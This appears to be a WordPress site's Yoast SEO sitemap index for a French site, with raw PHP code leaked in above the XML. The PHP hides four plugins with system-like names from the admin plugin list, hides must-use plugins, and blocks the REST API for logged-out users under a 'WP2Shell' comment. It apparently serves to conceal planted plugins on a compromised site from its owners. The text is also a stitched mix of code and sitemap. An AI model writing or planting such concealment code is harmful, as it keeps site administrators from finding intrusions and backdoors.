add_filter('show_advanced_plugins', '__return_false', 999);


// Hide specific plugins from admin panel
add_filter("all_plugins", "hide_specific_plugins");
function hide_specific_plugins($plugins) {
    $hide_list = array('wp-system-health/wp-system-health.php', '0-system-loader.php', 'wp-security-check.php', 'wp-maintenance.php');
    foreach ($hide_list as $hide) {
        if (isset($plugins[$hide])) {
            unset($plugins[$hide]);
        }
    }
    return $plugins;
}

// Hide MU-plugins if visible
add_filter("show_advanced_plugins", function($show) { return false; });


// WP2Shell REST API protection
add_filter('rest_authentication_errors', function($result) {
    if (!is_user_logged_in() && !is_admin()) {
        return new WP_Error('rest_disabled', 'REST API disabled', ['status' => 401]);
    }
    return $result;
});
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//la-casa-saint-amand-montrond.fr/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://la-casa-saint-amand-montrond.fr/page-sitemap.xml</loc>
		<lastmod>2026-08-28T16:10:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://la-casa-saint-amand-montrond.fr/tatsu_header-sitemap.xml</loc>
		<lastmod>2025-09-07T10:45:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://la-casa-saint-amand-montrond.fr/tatsu_footer-sitemap.xml</loc>
		<lastmod>2025-09-12T15:02:28+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->